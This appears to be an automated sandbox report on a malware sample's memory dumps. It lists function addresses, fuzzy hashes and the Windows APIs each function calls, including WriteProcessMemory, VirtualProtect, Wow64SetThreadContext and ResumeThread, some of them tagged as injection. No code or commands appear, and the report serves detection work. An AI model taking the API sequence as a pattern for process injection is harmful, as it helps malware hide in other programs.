Instruction ID: 0afbb95ef6a795044332da1e71f74752717523b6c0a2dd84744dedce3331661c
Opcode Fuzzy Hash: 7d6c2261d48b7cf0dbc19e3ce3895af45dfccae43ab3de653e35d165ac37f56f
Instruction Fuzzy Hash: 06510671D01229DFDB24CF95C840BDEBBB6BF48304F0584AAE909B7250DB359A85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 019480B0, Relevance: 1.6, APIs: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 0194819F

Memory Dump Source

Source File: 0000001C.00000002.450769199.0000000001940000.00000040.00000001.sdmp, Offset: 01940000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ecc49f2b479b522e6b564982e148a38a3055a47064038f4c858821a8df8e92bd
Instruction ID: 96f6cdfbf5347078aca10a4ad28a0941be91f7ba46a7237b1fd9a4407444d56d
Opcode Fuzzy Hash: ecc49f2b479b522e6b564982e148a38a3055a47064038f4c858821a8df8e92bd
Instruction Fuzzy Hash: 0B4116B0D006588FDB10CFE9C885B9EBBF5BB48714F14852AD859AB384D7749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 058FF8A0, Relevance: 1.6, APIs: 1, Instructions: 56injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 058FF90E

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 30e864c3c23e559053e10c0e4ca3b74015da8ae933280e3490679f8a39c7f070
Instruction ID: 7207b9f70f39369e75a88fc23dcee6012bb1db5b318ad7f1e92542140c2eeb14
Opcode Fuzzy Hash: 30e864c3c23e559053e10c0e4ca3b74015da8ae933280e3490679f8a39c7f070
Instruction Fuzzy Hash: B21159729003099FCB10CFA9C844BEFBBF5EF48324F148829E955A7240D7799944DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01948398, Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0194840C

Memory Dump Source

Source File: 0000001C.00000002.450769199.0000000001940000.00000040.00000001.sdmp, Offset: 01940000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 19b76e4a2b80811c724dc0c795a44f5d7ef6760c7dea37752bc0741afa07a2db
Instruction ID: 35259c70c2a414b6a2d7d9abf29a3b85cc898cd15f00da99fd27b151757a5ca1
Opcode Fuzzy Hash: 19b76e4a2b80811c724dc0c795a44f5d7ef6760c7dea37752bc0741afa07a2db
Instruction Fuzzy Hash: 0511E3B19007099FDB10DFAAC884AEEFBF9EB48264F14882AD459A7640D7749945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 058FFA50, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 058FFAB5

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b516492a88ef33de12a6cc20c588a2dbb1fb49d4a31b30bc21658a385a6007ab
Instruction ID: 1c25fdd81721a32250178c3f2a0ffe77f407ddc5ac7fff47c997c488d8ea4429
Opcode Fuzzy Hash: b516492a88ef33de12a6cc20c588a2dbb1fb49d4a31b30bc21658a385a6007ab
Instruction Fuzzy Hash: 4B116D719007098FDB10DFA9C444BEFBBF9EF48364F14882AD555A7640DB789944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 058FFC90, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 058FFCF2

Memory Dump Source

Source File: 0000001C.00000002.453848685.00000000058F0000.00000040.00000001.sdmp, Offset: 058F0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 34c5fd336708eca9ca507bf616e3c0913d1b1e34f48a2d0912093e824a15fa16
Instruction ID: a745cedc45ed27145cd151fd19dd3a974b17a24ffe7fbca51f3f493623217daf
Opcode Fuzzy Hash: 34c5fd336708eca9ca507bf616e3c0913d1b1e34f48a2d0912093e824a15fa16
Instruction Fuzzy Hash: 97113AB19007488FDB10DFA9C4447EFFBF9EF48224F14882AD559A7240D774A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 03395648, Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

@, xrefs: 033957B0

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 385ab8816511e3f78b71d9a48a943db3aca8eba8501cb5cba8f466d817c069bc
Instruction ID: 0b12e8505f541eb3db42720d2c3618d6a7e2a61611c707d17171c36a46f67bfe
Opcode Fuzzy Hash: 385ab8816511e3f78b71d9a48a943db3aca8eba8501cb5cba8f466d817c069bc
Instruction Fuzzy Hash: A2516F75A00219DFEF15CF68C8C4AAEBBF5BF49210F188466E915EB251D730DE94CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C4B40, Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

<#m, xrefs: 058C4B78

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: <#m
API String ID: 0-1841524592
Opcode ID: e43dcd93c0fa2e153e4eb3f611a84f1fae316cd4d0a90cd51e3244fa1ae6c57c
Instruction ID: c58a85677772ef3e7022e41114f5539b81b9e0f5af9e93c9cbf7f38e9f1eab8d
Opcode Fuzzy Hash: e43dcd93c0fa2e153e4eb3f611a84f1fae316cd4d0a90cd51e3244fa1ae6c57c
Instruction Fuzzy Hash: F341D4357046058FDB25CFB9D890A6ABFB6FFC5211B0684EAD905CB262DB30EC41C761

Uniqueness

Uniqueness Score: -1.00%

Function 0339A9FA, Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

@, xrefs: 0339AA42

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 70a2fcf98f046371b6aabebfc97e03ab8e9145029b7377be459bd3e5a863e768
Instruction ID: 96843bd21131f9005d6315e5c3c971ac8f347d4a048831efc8d5e221aafba7d8
Opcode Fuzzy Hash: 70a2fcf98f046371b6aabebfc97e03ab8e9145029b7377be459bd3e5a863e768
Instruction Fuzzy Hash: 2E517F75A00249DFEB15CF64C9C4EAEBBF6AF88300F19816AE905AB251D734ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C4D98, Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

<#m, xrefs: 058C4DE4

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: <#m
API String ID: 0-1841524592
Opcode ID: b7ece7fdf8f3845e4389c076dac364a445185287c4c3b3162062fad48378addb
Instruction ID: 6ac6920b9a1ba62b0267da42498f1f8cc0c386947216607bab1ea6ff47360074
Opcode Fuzzy Hash: b7ece7fdf8f3845e4389c076dac364a445185287c4c3b3162062fad48378addb
Instruction Fuzzy Hash: 5241AF307046148FCB25DF69D99496ABBF5FF89211B0680AED94ACB375DB30DC81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03395638, Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

@, xrefs: 0339567A

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: e346d46673d75eb7a0729c92b629be1da924d92fa6f9b1410b962a89fdfd1c22
Instruction ID: 942c50210c3467bbfbc3b77bd906feabacd016502325f483be29903a039e21ab
Opcode Fuzzy Hash: e346d46673d75eb7a0729c92b629be1da924d92fa6f9b1410b962a89fdfd1c22
Instruction Fuzzy Hash: BC217172A01115DFEF15DF69C880EEEBBB9FF89310F08856AE515D7215D7309A41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C4D88, Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

<#m, xrefs: 058C4DE4

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID: <#m
API String ID: 0-1841524592
Opcode ID: 379725e41dc3aa9059e1764ffa2edac17275d3e986edcc74f6b516d12c209676
Instruction ID: 4157fdb6d035fd297b492913b8736284e9b646841d58e9d2fc07cd86d7191780
Opcode Fuzzy Hash: 379725e41dc3aa9059e1764ffa2edac17275d3e986edcc74f6b516d12c209676
Instruction Fuzzy Hash: 14219C30A05614CFDF25DF28D994A6ABBB4FF89316F0680ADD946DB265C730EC81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01948E38, Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 01948EA3

Memory Dump Source

Source File: 0000001C.00000002.450769199.0000000001940000.00000040.00000001.sdmp, Offset: 01940000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d1416cb761fabbc17565713196d0887f83829f5a5446a0f2ffde24ceaec6b6dd
Instruction ID: 51b3c14f2269097fb6ccde40e561125bf85addfe3760b2a6d2a1c51a8a1c662e
Opcode Fuzzy Hash: d1416cb761fabbc17565713196d0887f83829f5a5446a0f2ffde24ceaec6b6dd
Instruction Fuzzy Hash: C41137B59003089FDB10DFE9C844BEFBBF9EB48324F14881AD559A7240D775A944CF90

Uniqueness

Uniqueness Score: -1.00%

Function 03398CD0, Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

p\Yk, xrefs: 03398CDC

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID: p\Yk
API String ID: 0-2663708313
Opcode ID: 8d99e30f514af72a8b3b80ea387ff1dad1a921be86365dc2bc6990731433f277
Instruction ID: 0a9027bae98a446a0a97c1e2b391606383f4e77bf56aecbcbf63492ba19ad75d
Opcode Fuzzy Hash: 8d99e30f514af72a8b3b80ea387ff1dad1a921be86365dc2bc6990731433f277
Instruction Fuzzy Hash: 7B01D633B053249B6F25EA25A88057EB7AAAEC5654349056ECC09AF340DF34ED0187E1

Uniqueness

Uniqueness Score: -1.00%

Function 058C4408, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253a2c0fa0e34bb50c4c535b929d1a3803279224258c5a5dec33bf12875ba1ba
Instruction ID: eea55d6b929f05aed465d2ff9e9c00e9df8ee4c81965c52d95bcfd5c77e3a556
Opcode Fuzzy Hash: 253a2c0fa0e34bb50c4c535b929d1a3803279224258c5a5dec33bf12875ba1ba
Instruction Fuzzy Hash: 69F16975B006048FDB54DF2AC499E6ABBE6FF85215F1984A9E942CB375CB74EC80CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0339BC38, Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d29adf1a35cf61e3de76a17ad2bccd637d680767bb781202171ea83e21f181
Instruction ID: 550fa4157944ef381ed544b204127a5851b0da61c353df51ee3251b7b14c3b4f
Opcode Fuzzy Hash: c3d29adf1a35cf61e3de76a17ad2bccd637d680767bb781202171ea83e21f181
Instruction Fuzzy Hash: 8EE11D35A00219DFDF15CFA8E484A9DFBB6EF88314F18855AE909AB351C771ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03392EE0, Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0deb19a22e115d5868897aa4796d2af113f377456cf1eeb5f117b128ade547d0
Instruction ID: cb74414ecd8a3dffabb70f0af75e7548c2d3c1dad98348549f9d71420e083db8
Opcode Fuzzy Hash: 0deb19a22e115d5868897aa4796d2af113f377456cf1eeb5f117b128ade547d0
Instruction Fuzzy Hash: FAD1B675604740DFEB20CF69C9C4B66B7E5AF40324F0D89AAD44ACF6A2C775E885CB50

Uniqueness

Uniqueness Score: -1.00%

Function 058C1D28, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a7e2ef126fd68917c77733a195af34c91aa17cb59b1d70d039c58ac066bbf7c
Instruction ID: 0988e8665bb0388dc61cad4fe93dddef0fe233442c6aca3d726b0de57551a2ba
Opcode Fuzzy Hash: 6a7e2ef126fd68917c77733a195af34c91aa17cb59b1d70d039c58ac066bbf7c
Instruction Fuzzy Hash: 20B18D357053458FD325DB68C088E65BBE7FF85214B19C5DAE88ACB6A6CB30EC85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 033911B8, Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9481f8743b19f8de8d9a35a5b18d22bbb486f754273863104e335bb84332d3e
Instruction ID: d7b30049c53cbed694952cf4a7ef22f33bce008c2f22cad2ed0e36cea97cab31
Opcode Fuzzy Hash: e9481f8743b19f8de8d9a35a5b18d22bbb486f754273863104e335bb84332d3e
Instruction Fuzzy Hash: 39A15A34B00205DFEB14DFA5C894AAEBBB6EF88300F188469E806EB355DB34DD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 058CB658, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7750864214b2aa0e84dc94381df31cc23d7fdeea08ff91b5acac2da7fbc2da65
Instruction ID: 5c8e7eee5af4a4b0f6ed72f859879e85bba43b2be163db5dfd46a18726908925
Opcode Fuzzy Hash: 7750864214b2aa0e84dc94381df31cc23d7fdeea08ff91b5acac2da7fbc2da65
Instruction Fuzzy Hash: 01A1F034A00A45DFCB05DF68C486C69BBB2FF49321B56849AEC06CB262CB30ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03390230, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f397a3905a3fb943b88fe4ce03f7311ad051a49cfd8a288d5229fddf4d8c24f
Instruction ID: 710a7fdbcb05a465ce988310137bf3688cfc466a3e25d6f4efe7706fb8e7b088
Opcode Fuzzy Hash: 5f397a3905a3fb943b88fe4ce03f7311ad051a49cfd8a288d5229fddf4d8c24f
Instruction Fuzzy Hash: 54719034A00706CFDB28DF68C5C0A6AB7FABF88315F14892AD856CB654DB70E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 033942E0, Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9e8d579a62618302fed0db4fdb61d07646dddd1847c1a00b5fa199d7be69a6
Instruction ID: 83c1063a7cf696d6a781796cdeba1a65c13076ad5a3a94efbf5ce8d8bbf1d21f
Opcode Fuzzy Hash: 1a9e8d579a62618302fed0db4fdb61d07646dddd1847c1a00b5fa199d7be69a6
Instruction Fuzzy Hash: 5C614A2190E3D09FDB13D77888A09857FB6AE43214B0A48D7C0C2CF5A3D629D88DD767

Uniqueness

Uniqueness Score: -1.00%

Function 058C36F0, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e23d914dec7f523f6ce547a3f4fb1c7eec0218a30da11269c9247543b6bb5efe
Instruction ID: cc3150ec45b4dd7ae4472e8397b9d59c39ed4ced1e13b67d5e770532fb982927
Opcode Fuzzy Hash: e23d914dec7f523f6ce547a3f4fb1c7eec0218a30da11269c9247543b6bb5efe
Instruction Fuzzy Hash: AA616C35A00605CFC714DB64D498AADBBB6FF48314F1088A9E816EB354DF34DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 058C78A8, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda8bf3c9d0e6e1a57f79ba688efae1c4901bb4ff5cf2b3ca45eb8ff9e4c7d11
Instruction ID: 37262eb35f5329f0caa00e40c75ada10d3d3d1066cfe8fde57c6d7004c577adf
Opcode Fuzzy Hash: bda8bf3c9d0e6e1a57f79ba688efae1c4901bb4ff5cf2b3ca45eb8ff9e4c7d11
Instruction Fuzzy Hash: 9B613974A01208AFDB14DFA9D884AAEBBB6FF88310F148469E806EB355DB349D45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03390040, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45fddba5b78341f272eb6e19a4d8bb79d81eab92bf77c01312cf3ba786648250
Instruction ID: 6088079bbd38c4a783b83633a68d40f581899b00916400c395e00327e0da0bc8
Opcode Fuzzy Hash: 45fddba5b78341f272eb6e19a4d8bb79d81eab92bf77c01312cf3ba786648250
Instruction Fuzzy Hash: 5561B4B5E002198FDB54CFA9D880A9EBBF5FF88310F14846AE919EB314E7719D52CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03390007, Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149e49f5f44ef4ec3ae0441da063eabb3e10c9b30a58f888f3b06b30125dccff
Instruction ID: 19733a24df26e0d2481559f0da7d07609f4052f451d97ec894601a32396d59c9
Opcode Fuzzy Hash: 149e49f5f44ef4ec3ae0441da063eabb3e10c9b30a58f888f3b06b30125dccff
Instruction Fuzzy Hash: 366125B4A05358CFDB15CFA9C890A9EBBF5BF49300F1544AAE849EB355E7309C42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 03390221, Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc0c365b6d25582a6fe540719dd5ff2ed6e4d84007273c8d00b595e90b00bfe
Instruction ID: 0d82db80f19e8ba50d3585feacb6dbcc453249d46eb64d4a2a47827f839e97c3
Opcode Fuzzy Hash: 7bc0c365b6d25582a6fe540719dd5ff2ed6e4d84007273c8d00b595e90b00bfe
Instruction Fuzzy Hash: 49519F71A00306CFDB24DF69C9C0AAABBFAFF84315F14892AE855CB651D770E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058CC240, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8bef31fa9a2a8c16d44552f375a8a2567c75e5967a1b04630126f436678ec95
Instruction ID: d2c55164cc4132d5861db1de2a66a076e0e9969583266d6b16edf770bf5abd51
Opcode Fuzzy Hash: e8bef31fa9a2a8c16d44552f375a8a2567c75e5967a1b04630126f436678ec95
Instruction Fuzzy Hash: 0C515C30A002058FDB14DB75D598AADBBB6FF89305F1484A9E816EB360DB35DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 058C1AA0, Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 121cbfe7f9a0bc0c57a6cf1942e745aa15d9db62192048c211b5f98400d98b30
Instruction ID: e10072baf02a855065ead9dfb3ac5046eeaab383450fa4489f7f4597d973e81b
Opcode Fuzzy Hash: 121cbfe7f9a0bc0c57a6cf1942e745aa15d9db62192048c211b5f98400d98b30
Instruction Fuzzy Hash: 9641C4303087058BD7359A6584C8A7BBFEAAF84204F1449AEFC47C7642DB30EC91C711

Uniqueness

Uniqueness Score: -1.00%

Function 058CBC88, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7ab05396d1e1654f77df41419411035f78353770c49afde240a7cfe6b51237
Instruction ID: a59ae1d3b38c0140cc45022fb800a6cababbd73ea2debe8b784c6bd9617f6a29
Opcode Fuzzy Hash: 1d7ab05396d1e1654f77df41419411035f78353770c49afde240a7cfe6b51237
Instruction Fuzzy Hash: B4519835A046599FCB21CF69C881EAABBF2FF45221F548199E992DB2A1C734ED40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 058CB4F8, Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffae64a8d02c5611a23b474db79fb164cb8642f91bd1982293c6284db6ffeb8d
Instruction ID: bf5d55dda11ad2f5e77670b6a52a73c9c02a6d5f39f6d698a9057bd0a38f2da6
Opcode Fuzzy Hash: ffae64a8d02c5611a23b474db79fb164cb8642f91bd1982293c6284db6ffeb8d
Instruction Fuzzy Hash: 9B41A276A00219AFCF06DFA5E8408FFBFBAEF89211B108066E915D7211D731DD25DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03391CB8, Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682dc2d275184eeb393cb6b25d293db834ae3aadc30a8b781504dfc7531d2f3f
Instruction ID: be05b8203de675dfe76a6fd3f2f7c1724acc96e684439775430db02cef888436
Opcode Fuzzy Hash: 682dc2d275184eeb393cb6b25d293db834ae3aadc30a8b781504dfc7531d2f3f
Instruction Fuzzy Hash: 10514D36B00109AFDB40DFA9D8849EEFBF9FB88311F14816AE905D7211D731A955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C31F0, Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300c6666c4872a110170acbea12046f3ebbce29a7c66dfae1fc7e5bc65763ee3
Instruction ID: 7f9310e45a6e4712e6ff969a42926032227847d67dd7a9ca68d49163baaf03cf
Opcode Fuzzy Hash: 300c6666c4872a110170acbea12046f3ebbce29a7c66dfae1fc7e5bc65763ee3
Instruction Fuzzy Hash: 6B519FB5A007069FC714DF68C48089ABBF2FF89314B1589A9D459CF326DB30EE85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0339BE59, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7adf431c2fc18f8caf924ac9e0db7a5a48830d00f134afd24b87823cb010747
Instruction ID: 9fd4fbdda4fcc133db244d973018bec23be48376f754c5cada66dacecb250dac
Opcode Fuzzy Hash: e7adf431c2fc18f8caf924ac9e0db7a5a48830d00f134afd24b87823cb010747
Instruction Fuzzy Hash: 7951D434A00209EFDF15CF98D584A9DFBB6EF88314F288559E805AB361C771ED82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058CEF81, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b3757a6093f6985ec7f15503e76fa2ecb4d03044bf54a03f4c08c1ba505f4ea
Instruction ID: f9e7aa1ac935f47e156d38eb1906ac90db807f2f6b9d42b28a1f9e6c6cee8513
Opcode Fuzzy Hash: 3b3757a6093f6985ec7f15503e76fa2ecb4d03044bf54a03f4c08c1ba505f4ea
Instruction Fuzzy Hash: 37416174A012099FDB54DFA9C884ABEB7BAEBCD304F148419E905EB394CB399D41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 03397828, Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2bb24ff3b38eff9fff3b4de116fc136e99eb564770c01cc39a240742236c36
Instruction ID: ea3d0e4d796cf5811670471da625cc1ca0e47470dfc5baa3d16d92ef677ebd9e
Opcode Fuzzy Hash: 9e2bb24ff3b38eff9fff3b4de116fc136e99eb564770c01cc39a240742236c36
Instruction Fuzzy Hash: 57411634714600CFDB18DF69D4C4A2AB7EAFF88211B1945AAE546CB7B2CB71EC40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03391BF9, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dedb4b8709581bec2bf8e4630ffe094e632f8d3011e353ef19d38e741a49ba6
Instruction ID: c7fc93dde7099c07449c97eee837044942b9b898c66af7dc2ea207ad4679fe06
Opcode Fuzzy Hash: 2dedb4b8709581bec2bf8e4630ffe094e632f8d3011e353ef19d38e741a49ba6
Instruction Fuzzy Hash: BA415A71E0021ADFDB05DFA8C885AAEFBF5FF89310F1485AAD414AB211D730A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 058CEF90, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e48a05c3834e805ab5f8beaf4b75e6b3a24c95a59703b189e9b5c9e86faf1c
Instruction ID: 3362ebef474b6785ed6ea81af573889e41df6094943967c6de6afd7b937ccb24
Opcode Fuzzy Hash: c5e48a05c3834e805ab5f8beaf4b75e6b3a24c95a59703b189e9b5c9e86faf1c
Instruction Fuzzy Hash: 18413274A012099FDB54DFA9C884ABEB7BAEBCC314F148419E905E7394CB399D41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 058CBA80, Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5fe2046954f00313702c66353715e62dff10e574634ad184b746649cbf10504
Instruction ID: a3d506244b8d436f74d9294fc6a95edf659a26c0f0209eed2feb8845272dbf01
Opcode Fuzzy Hash: a5fe2046954f00313702c66353715e62dff10e574634ad184b746649cbf10504
Instruction Fuzzy Hash: 79419871A05301AFC715DF68C8809AABBF6FF89300B1489ADE849CB341D731EC40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 033921B0, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa7f94a0a5b7c9ee2e0231fd35d0f7727e1f7f2df331ed37fa676cedc4f61ed
Instruction ID: d891143bc82e948aad2e5ff490dac1c28ebe1e2956aa3bb041bcee3394004ca5
